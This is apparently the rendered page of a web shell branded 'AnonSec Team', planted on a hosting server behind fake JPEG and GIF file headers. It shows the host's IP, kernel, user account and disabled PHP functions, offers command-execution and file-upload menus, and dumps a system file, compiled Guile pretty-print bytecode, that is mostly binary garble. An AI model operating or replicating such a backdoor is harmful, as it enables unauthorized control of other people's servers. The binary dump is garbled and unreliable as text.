����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 3.145.73.167
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib64/lksctp-tools/../guile/2.0/ccache/ice-9/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib64/lksctp-tools/../guile/2.0/ccache/ice-9/pretty-print.go
GOOF----LE-8-2.0F\]�4h]gguile�	�	gdefine-module*�	�	�	gice-9�	gpretty-print�	�		gfilenameS�	
fice-9/pretty-print.scm�	gimportsS�	gmatch�	
�	
�	gsrfi�	gsrfi-1�	�	�	grnrs�	gbytevectors�	�	�	�	gexportsS�	gtruncated-print�	�	gset-current-module�	�	�	gmake-string�	ggenwrite:newline-str�	 g
string-length�	!f(�	"gfold�	#f �	$f)�	%gobject->string�	&gdisplay�	'gwrite�	(gquote�	)f'�	*g
quasiquote�	+f`�	,gunquote�	-f,�	.gunquote-splicing�	/f,@�	0f        �	1g	substring�	2gmin�	3g
generic-write�	4f�	5greverse-string-append�	6gvector->list�	7f#�	8gsymbol->string�	9f.�	:glambda�	;glambda*�	<glet*�	=gletrec�	>gdefine�	?gdefine*�	@g
define-public�	Ag
define-syntax�	Bg
let-syntax�	Cg
letrec-syntax�	Dgwith-syntax�	Egif�	Fgset!�	Ggcond�	Hgcase�	Igand�	Jgor�	Kglet�	Lgbegin�	Mgdo�	Ngsyntax-rules�	Ogsyntax-case�	Pgstring-set!�	Qg
string-ref�	RgportS�	SR	��	TgwidthS�	UT	��	Vgmax-expr-widthS�	WV	��	Xgdisplay?S�	YX	��	Zgper-line-prefixS�	[Z	��	\SUWY[�	]gcurrent-output-port�	^X	��	_gbreadth-first?S�	`_	��	aSU^`�	bg%default-port-encoding�	cg
port-encoding�	dgcatch�	egencoding-error�	fg!%default-port-conversion-strategy�	ggerror�	hgwith-output-to-string�	ik& �	jf...�	kgmax�	lgfloor�	mfexpected a positive width�	nglength�	ogcdr�	pf#(�	qg
vector-length�	rg
vector-ref�	sgidentity�	tgbytevector?�	ugformat�	vf#~a(�	wg
array-type�	xgarray-length�	yg	array-ref�	zf. �	{gstring-prefix?�	|gstring-suffix?�	}f~a~a~a~a�	~f#<�	f>��~���p$���!$���f"�������������gwith-output-to-port�C5h�R�]4	
54>"G4i
5R h(�]$4L5$45�CCC�gstr
		"gcol		"gfilenamefice-9/pretty-print.scm�
	9	��		:	��			:	
��		:	��		:	!��		:	��		"	gnamegout�C!"#h(�]L$4L5$�""6�gi
		'gcol		'gfilenamefice-9/pretty-print.scm�
	G	��		:	��	
	:	
��		H	%��		:	
��		:	��		:	!��		:	��	'	H	��
		'	C$%&' ()*+,-./hX�]""��$����$V4L$4L5$�""54LLO5$4L5$�CCC4L$"5$4L5$45�CCC4L$"5$4L5$45�CCC�$j��	&��$��(y�L	�$
".�$"
�$"�$"$4L5$45�""6"���"��|&��$��(y�L	�$
".�$"
�$"�$"$4L5$45�""6"���"���
&��$��(y�L	�$
".�$"
�$"�$"$4L5$45�""6"��R"��N&��$��(y�L	�$
".�$"
�$"�$"$4L5$45�""6"���"���"���"����gobj
	Wgcol	Wgw		�gx		�gcol		D	tgcol		X	tgstr	��gstr	��gw	�Sgx	�Sgw	�ghead	Vgstr	V�gw	�ghead	��gstr	�gw	:�ghead	B�gstr	��gw	�Gghead	�gstr	Egfilenamefice-9/pretty-print.scm�
	=	��		?	��		E	��	)	:	��	*	:	
��	.	E	$��	0	:	
��	4	:	��	7	:	!��	8	:	��	D	E	��	D	E		��	G	G	��	X	F	��	`	:	��	a	:	
��	e	F	��	g	:	
��	k	:	��	n	:	!��	o	:	��	u	K	��		K	"���	K	���	K		���	:	���	:	
���	:	���	:	!���	:	���	K	���	K	"���	K	���	K		���	:	���	:	
���	:	���	:	!���	:	���	?	��	2	��	2	��	3	��!	4	��.	3	��0	5	��=	3	��?	6	��L	3	��N	7	��V	A	��^	:	��_	:	
��i	:	��l	:	!��s	:	���	A		���	?	���	2	���	2	���	3	���	4	���	3	���	5	���	3	���	6	���	3	���	7	���	A	���	:	���	:	
��	:	��	:	!��
	:	��	A		��	?	��B	2	��B	2	��M	3	��O	4	��\	3	��^	5	��k	3	��m	6	��z	3	��|	7	���	A	���	:	���	:	
���	:	���	:	!���	:	���	A		���	?	���	2	���	2	���	3	���	4	���	3	���	5	��	3	��	6	��	3	��	7	��	A	��#	:	��$	:	
��.	:	��1	:	!��8	:	��G	A		��K	?	��q	W	gnamegloop�Ch �]
OLLLQ6�gobj
		 gcol		 gloop		
	 gfilenamefice-9/pretty-print.scm�
	<	��	
	=	��		 	gnamegwr�C01 hp>]

�$b	�$-	�$4L5$		�"""���4
5$4L5$45�CCCC6gn
		ogcol		ogstr		J	lgfilenamefice-9/pretty-print.scm�
	O	��		P	
��	
	P	��		Q	��		Q	��		R	��		:	��		:	
��	#	R	��	%	:	
��	)	:	��	-	:	!��	.	:	��	@	R	
��	A	S	��	E	S	��	J	S	��	J	S	
��	R	:	��	S	:	
��	]	:	��	`	:	!��	g	:	��		o	gnamegspaces�C hh]
$^�$J4L5$45�"$#4LL5$
4L5�$L
6CCCL�6Cgto
		hgcol		hgstr			2gfilenamefice-9/pretty-print.scm�
	V	��		W	��	
	X	��		X	��		Y	��		:	
��	 	:	��	#	:	!��	*	:	��	6	Y	
��	7	:	
��	A	Y	
��	C	:	!��	J	:	��	N	:	��	U	[	��	b	\	��	f	\	
��		h	gnamegindent�C234 h �]M�NM45�NM
�C�gstr
		gfilenamefice-9/pretty-print.scm�
	c	��		d	��			d	��		e	!��		e	��		e	��		f	��		C5 67!
h��],�$"�$�4L���L5HH4LLO>"GJ
�$)4J5$4L5$45�CCC�$
645$4L5$�""$4L	5$�""LL6L6�gobj
	�gcol	�gextra		�gpp-pair		�gresult		&�gleft		&�gstr		[	}gl	��gcol	��gcol	��
gfilenamefice-9/pretty-print.scm�
	^	��		_	��			_	
��	
	_	��		_	��		_	��		`	��		a	��		a	��	!	a	��	"	a	��	&	a	��	&	`	��	+	b	
��	6	b	8��	D	b	
��	P	g	��	T	g	
��	U	h	��	[	h	��	c	:	��	d	:	
��	n	:	��	q	:	!��	x	:	���	i	���	i	���	j	���	k	���	:	���	:	
���	k	/���	:	
���	:	���	:	!���	:	���	k	���	:	���	:	
����	���	:	
���	:	���	:	!���	:	����	����	���	l	��0	�	gnamegpr�C(*,.)+-/ 8!h�x]���$"!�$"�$"�$�$��""${L����$".�$"�$"�$"$4L5$4	5�""L6��$|4L5$
64	4
55	�$LL64L�$4L5$�""5$L��L6C$4L5$�""LL6pgexpr
	�gcol	�gextra		�ghead			Zgtail			Zghead		g�gstr	��ghead	��gproc	�agcol*	Gagcol	��gfilenamefice-9/pretty-print.scm�
	n	��		)	��		)	��		)	��		*	��	B	(	��	F	(	��	I	(	/��	J	(	(��	^	o	��	c	/	��	g	2	��	g	2	��	r	3	��	t	4	���	3	���	5	���	3	���	6	���	3	���	7	���	q	���	:	���	:	
���	:	���	:	!���	:	���	p	���	t	���	t	���	u	���	u	
���	v	���	v	���	w	���	x	���	y	��	y	&��
	y	��
	y	��	y	�� 	{	��!�	��&�	��,	:	��-	:	
��1�	&��3	:	
��7	:	��:	:	!��;	:	��G�	��G�	��O�	��T�	��Y�	&��_�	
��g	:	��h	:	
��l�	��n	:	
��r	:	��u	:	!��v	:	����	����	��C	�	gnamegpp-expr�C$9h�/]%"�$|�$4�(�"
4L�4L55"���(4L5$�CCL4L4L4L4L555�56C"��p'gl
	�gcol1	�gcol2		�gextra		�gpp-item		�gl		�gcol		�grest			Ggextra		&	G	gfilenamefice-9/pretty-print.scm�
�	��	�	��	�	��	�	��	�	
��	�	 ��	�	��	�	#��	!�	4��	&�	��	+�	��	0�	"��	1�	*��	?�	��	G�	��	M�	
��	N	:	
��	R�	��	T	:	
��	X	:	��	[	:	!��	\	:	��	c�	��	d�	��	i�	��	n�	*��	r�	/��	s�	3��	}�	*��	�	����	����	����	����	��#	�	gnamegpp-down�C!#h�P]?"m"	

	"Y$K�$@��(�"

4L4L
	5
5

	""���"���"c"L	6$G�$<��(�"

4L4L
	5
5	""���"���"L	6��4L$4L5$�""5	"	�		�
	"���$U�$J�
�4L
	$4L5$	�""5	��
	"��u"���"���Hgexpr
	�gcol	�gextra		�gnamed?		�gpp-1		�gpp-2		�gpp-3		�grest			sgcol1			sgcol2				sgcol3	
		sgval1		.	kgrest		3	kgextra	
	C	kgrest		w�gcol1		w�gcol2			w�gcol3	
	w�gval1	��grest	��gextra	
��grest	��gcol1	��gcol2		��ghead	��grest	��gcol*		�gname	
J�grest	O�gcol**	w�gfilenamefice-9/pretty-print.scm�
�	��	�	��	�	
��	�	��	'�	��	+�	��	.�	��	.�	
��	3�	��	3�	
��	;�	��	>�	)��	C�	
��	J�	��	O�	&��	]�	��	k�	��	w�	����	����	����	����	����	����	
����	����	
����	����	)����	
����	����	&����	����	����	����	����	����	����	����	����	��	:	��	:	
���	!��	:	
��	:	��	:	!��	:	���	���	��)�	��.�	2��:�	
��:�	��C�	��G�	��J�	��J�	
��O�	��O�	
��R�	��\	:	��]	:	
��a�	&��c	:	
��g	:	��j	:	!��k	:	��w�	��w�	
����	����	5����	��I	�	gnameg
pp-general�C!h8�]$4L5$�""LL6�gl
		1gcol		1gextra			1gcol		!	1gfilenamefice-9/pretty-print.scm�
�	��		:	��			:	
��	
�	��		:	
��		:	��		:	!��		:	��	!�	��	1�	��		1	gnamegpp-expr-list�Ch�]LLL6�gexpr
		gcol		gextra			gfilenamefice-9/pretty-print.scm�
�	��	�	��			gnameg	pp-LAMBDA�C!hH(]4L�$4L5$�""5$L��L6C gexpr
		Cgcol		Cgextra			Cgcol*		)	Cgfilenamefice-9/pretty-print.scm�
�	��	�	��	�	��		:	��		:	
��	�	&��		:	
��		:	��		:	!��		:	��	)�	��	)�	��	1�	��	6�	��	;�	&��	A�	
��		C	gnamegpp-COND�Ch�]LLLL6�gexpr
		gcol		gextra			gfilenamefice-9/pretty-print.scm�
�	��	�	��			gnamegpp-DO�C:;<=>?@ABCDEFh�]LLL6�gexpr
		gcol		gextra			gfilenamefice-9/pretty-print.scm�
�	��	�	��			gnamegpp-IF�CGHh�]LLL6�gexpr
		gcol		gextra			gfilenamefice-9/pretty-print.scm�
�	��	�	��			gnamegpp-CASE�CIJ!hH']4L�$4L5$�""5$L��L6Cgexpr
		Cgcol		Cgextra			Cgcol*		)	Cgfilenamefice-9/pretty-print.scm�
�	��	�	��	�	��		:	��		:	
��	�	&��		:	
��		:	��		:	!��		:	��	)�	��	)�	��	1�	��	6�	��	;�	&��	A�	
��		C	gnamegpp-AND�CKh0]��$��"LLL6�gexpr
		*gcol		*gextra			*grest			*gnamed?			*gfilenamefice-9/pretty-print.scm�
�	��	�	��	�	��	
�	��	�	��	�	0��	�	'��	�	��	*�	��
		*	gnamegpp-LET�CLh�]LL6�gexpr
		gcol		gextra			gfilenamefice-9/pretty-print.scm�
�	��	�	��			gnamegpp-BEGIN�CMNOh�]LLL6�gexpr
		gcol		gextra			gfilenamefice-9/pretty-print.scm�
�	��	�	��			gnamegpp-SYNTAX-CASE�ChXz]�$"��$"u�$"g�$"Y�$"K�$"=�$"/�$"!	�$"
�$"�$LC�$"
�$
LLOC�$LC�$LLLOC�$"�$LLLLOC�$LLLOC�$
LLOC�$LC�$LC�$LLLOCCrghead
	Xgfilenamefice-9/pretty-print.scm�
�	��	�	��	Xgnamegstyle�Ch�]ZOOOOOOOO		O

OO	LQLLQLLLLLQLLQLLQLLQLQQ	LLQ
QLL
	Q
6|gobj
	gcol	gspaces	�gindent	�gpr	�gpp-expr	�gpp-down	�g
pp-general	�gpp-expr-list	�g	pp-LAMBDA		�gpp-COND	
�gpp-DO	�gstyle	�
gfilenamefice-9/pretty-print.scm�
	M	���	��		gnamegpp�C h�r]OOOQQQ45$
45�"$44
5>"G"4
>"GCjgobj
	�gdisplay?	�gwidth		�gmax-expr-width		�gper-line-prefix		�goutput		�gout		"�gwr		"�gpp		"�	gfilenamefice-9/pretty-print.scm�
	$
��	B	:	
��	L	:	��	N	:	!��	U	:	��	`�	��	a�	��	f�	��	r�	��	�	��	�	gnameg
generic-write�C3R PQh��]*�$n�454L��5"7�$+445>"G��"���C
45��"���6�gl
		}gi		}gstr			wglen			wgresult		$	wgj		*	agk		*	agfilenamefice-9/pretty-print.scm�
	��		��			��		��		��		��		��		��		(��	"	0��	$	��	$	��	*	��	/	��	3	
��	4		��	;		$��	H		��	S
	��	V
	��	^
	��	a	��	c	"��	l	��	o	��	w	��	}	��		}	gnamegrev-string-append�Ch�]	OQ
6�gl
		grev-string-append	
	gfilenamefice-9/pretty-print.scm�
�
��		��		gnamegreverse-string-append�C5R\]43 &hc]4L>"GC[gs
		gfilenamefice-9/pretty-print.scm�
$	��	$	��		Ch��-/03##$"45#	O#	2##45�O6�gobj
		ygport*		ygport			ygwidth			ygmax-expr-width			ygdisplay?			ygper-line-prefix			ygfilenamefice-9/pretty-print.scm�

��	(	��	/	'��	Z	(��	e!	��	l!	��	y 	��		ygportS	�gwidthS	�gmax-expr-widthS	�gdisplay?S	�gper-line-prefixS	�gnamegpretty-print�g
documentationfPretty-print OBJ on PORT, which is a keyword argument defaulting to
the current output port.  Formatting can be controlled by a number of
keyword arguments: Each line in the output is preceded by the string
PER-LINE-PREFIX, which is empty by default.  The output lines will be
at most WIDTH characters wide; the default is 79.  If DISPLAY? is
true, display rather than write representation will be used.

Instead of with a keyword argument, you can also specify the output
port directly after OBJ, like (pretty-print OBJ PORT).�CRa]bcdefgh&ih\]6Tgfilenamefice-9/pretty-print.scm�
E	��	@	��	F	��		
Ch\]Y4>ZCZFTgfilenamefice-9/pretty-print.scm�
B	
��	C	=��		D	��		
Cjhx-13Cpgkey
			gargs			gfilenamefice-9/pretty-print.scm�
G	
��	H	��			
C &bchklh8�]L4LLL5L$44LLL��5�5"LL��6�gfilenamefice-9/pretty-print.scm�
\	��	]	$��	^	$��	_	(��	`	1��	!`	A��	"`	8��	$`	1��	%`	-��	'_	(��	0a	1��	1a	(��	3]	��		3
C ho]%"�
�$4 >"G"�$C"iL��$M64L5Y4LLLO5Z4>"G45�45��"��e��$>
�$"�$L45
�$"�6"��O"��K
"��
ggx
	�gwidth	�glen		�gref		�gnext		�gx		�gwidth		�gi		�gt		)�gstr		n�gt	��gfilenamefice-9/pretty-print.scm�
L	��	M	��	
P	��	P	
��	Q	��	)S	��	)R	
��	=V	��	>V	��	BR	
��	HW	��	KZ	9��	T[	��	nY	��	qb	���c	���c	���c	&���c	���c	;���c	���R	
���T	���T	���R	
���T	$���T	 ���T	.���T	���U	���U	!���U	���U	1���U	���M	��$	�	gnamegprint-sequence�Cgm&!nhr]�Cjgx
		gi		gfilenamefice-9/pretty-print.scm�
�	��	�	*��			Co$7pqrstuvwxyzhlh(�]LL�L$4L	�	�5"L	�6�gfilenamefice-9/pretty-print.scm�
p	��	q	"��	
r	"��	s	&��	s	0��	s	-��	s	&��	#t	&��	%q	��
		%
C# &'he]L$L6L6]gfilenamefice-9/pretty-print.scm�
�	��	�	#��	�	0��	�	<��		
C{|}1�h�K]"
�$6�$L	L��$:4>"G4L	�45>"G6	6�$L	L��$:4
>"G4L	�45
>"G6	645$Q		�$B445>"G4L	�45
>"G6	6�$�	L��$�4>"G	�"��$		�"$-4>"G4L	�>"dG"]4LLO54>"G4>"G��45�"��p"��a6	64LO54>"G45�$"�"�(	"�"	�"���4��5${4��5$h45�$V4��54��5�L��$54��44��54��5�L�5M��5""��u"��q"��m"��i"��Q6Cgx
	�gwidth	�gwidth	>�gx	D�gwidth	D�gstr	��gstr	�gfixes	.�gfilenamefice-9/pretty-print.scm�
�	��	�	
��	
�	��	�	��	�	
��	�	
��	�	��	 �	��	!�	��	%�	
��	&�	��	*�	��	/�	��	8�	��	A�	��	B�	*��	Q�	��	]�	��	_�	��	c�	��	e�	��	h�	
��	l�	��	s�	��	t�	��	x�	
��	y�	��	}�	����	����	����	����	*����	����	����	����	����	����	
����	����	����	
����	����	����	����	����	����	����	*���	���	���	���	���	���	
���	��"�	��#�	��'�	
��(�	��,�	��1�	��>�	��>�	��Dg	��Gj	��Kj	��Pj	 ��Uj	��Yi	
��Zk	��^k	��ck	��ll	��ul	��zl	���o	���o	���u	���v	���v	���v	���w	���w	���w	%���w	���w	���g	����	����	����	����	����	���	
���	���	�� �	��$�	��.{	��4	
��6�	��A�	��G�	��G	
��H�	��M�	!��R�	��V	
��W�	��\�	!��a�	��e�	��f�	��o�	��s�	��v�	��{�	'��~�	���	����	'����	����	����	����	����	����	����	����	#����	2����	#����	(����	7����	(����	����	����	����	���{	���{	���{	����	���	�	gnamegprint�C�hS]LLL6Kgfilenamefice-9/pretty-print.scm�
�	��	
�	
��		

Ch�:-/03
##$"45#	O##45YH45K4	J5
OO		Q	Q	4
	O>ZCZF2gx
	�gport*	�gport		�gwidth		�gdisplay?		�gbreadth-first?		�gellipsis		]�gellipsis-width		s�gprint-sequence	��gprint		��
gfilenamefice-9/pretty-print.scm�
)
��	(+	 ��	/+	*��	T;	(��	`A	��	dA	��	jA	��	mJ	��	sJ	����	��	�gportS	�gwidthS	�gdisplay?S	�gbreadth-first?S	�gnamegtruncated-print�g
documentationfAPrint @var{x}, truncating the output, if necessary, to make it fit
into @var{width} characters. By default, @var{x} will be printed using
@code{write}, though that behavior can be overriden via the
@var{display?} keyword argument.

The default behaviour is to print depth-first, meaning that the entire
remaining width will be available to each sub-expression of @var{x} --
e.g., if @var{x} is a vector, each member of @var{x}. One can attempt to
"ration" the available width, trying to allocate it equally to each
sub-expression, via the @var{breadth-first?} keyword argument.�CRC�gm
		,gfilenamefice-9/pretty-print.scm�		
��	-	"	��	9	"
��3�	$
��7
�
��;�
��R�)
��	R�
C6

AnonSec - 2021